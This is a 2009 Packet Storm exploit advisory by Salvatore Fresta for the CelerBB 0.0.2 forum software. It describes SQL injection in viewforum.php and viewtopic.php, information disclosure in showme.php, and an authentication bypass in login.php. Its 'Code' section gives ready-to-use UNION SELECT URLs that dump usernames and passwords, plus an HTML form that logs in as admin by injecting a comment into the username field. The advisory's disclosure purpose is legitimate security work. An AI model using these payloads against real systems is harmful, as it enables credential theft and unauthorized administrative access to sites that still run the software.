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CelerBB 0.0.2 SQL Injection / Authentication Bypass

🗓️ 05 Mar 2009 00:00:00Reported by Salvatore FrestaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 13 Views

CelerBB 0.0.2 SQL Injection / Authentication Bypass, Remote Exploitation, Discovered by Salvatore Frest

Code
`******* Salvatore "drosophila" Fresta *******  
  
[+] Application: CelerBB  
[+] Version: 0.0.2  
[+] Website: http://celerbb.sourceforge.net/  
  
[+] Bugs: [A] Multiple SQL Injection  
[B] Information Disclosure  
[C] Authenticaion Bypass  
  
[+] Exploitation: Remote  
[+] Date: 05 Mar 2009  
  
[+] Discovered by: Salvatore "drosophila" Fresta  
[+] Author: Salvatore "drosophila" Fresta  
[+] Contact: e-mail: [email protected]  
  
  
*************************************************  
  
[+] Menu  
  
1) Bugs  
2) Code  
3) Fix  
  
  
*************************************************  
  
[+] Bugs  
  
  
- [A] Multiple SQL Injection  
  
[-] Requisites: magic_quotes_gpc = off  
[-] File affected: viewforum.php, viewtopic.php  
  
This bug allows a guest to view username and  
password list.  
  
  
- [B] Information Disclosure  
  
[-] Requisites: none  
[-] File affected: showme.php  
  
This bug allows a guest to view reserved  
information of any user.  
  
  
- [C] Authentication Bypass  
  
[-] Requisites: magic_quotes_gpc = off  
[-] File affected: login.php  
  
This bug allows a guest to bypass authentication.  
  
  
*************************************************  
  
[+] Code  
  
  
- [A] Multiple SQL Injection  
  
http://www.site.com/path/viewforum.php?id=-1' UNION ALL SELECT  
1,2,GROUP_CONCAT(CONCAT(username, 0x3a, password)),4,5,6,7,8 FROM  
celer_users%23  
  
http://www.site.com/path/viewtopic.php?id=1' UNION ALL SELECT  
1,2,3,NULL,5,6,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL  
FROM celer_users%23  
  
  
- [B] Information Disclosure  
  
http://www.site.com/path/showme.php?user=admin  
  
  
- [C] Authentication Bypass  
  
<html>  
<head>  
<title>CelerBB 0.0.2 Authentication Bypass Exploit</title>  
</head>  
<body>  
<form action="login.php" method="POST">  
<input type="hidden" name="Username" value="admin'#">  
<input type="submit" value="Exploit">  
</form>  
</body>  
</html>  
  
  
*************************************************  
  
[+] Fix  
  
No fix.  
  
  
*************************************************  
  
--   
Salvatore "drosophila" Fresta  
CWNP444351  
`

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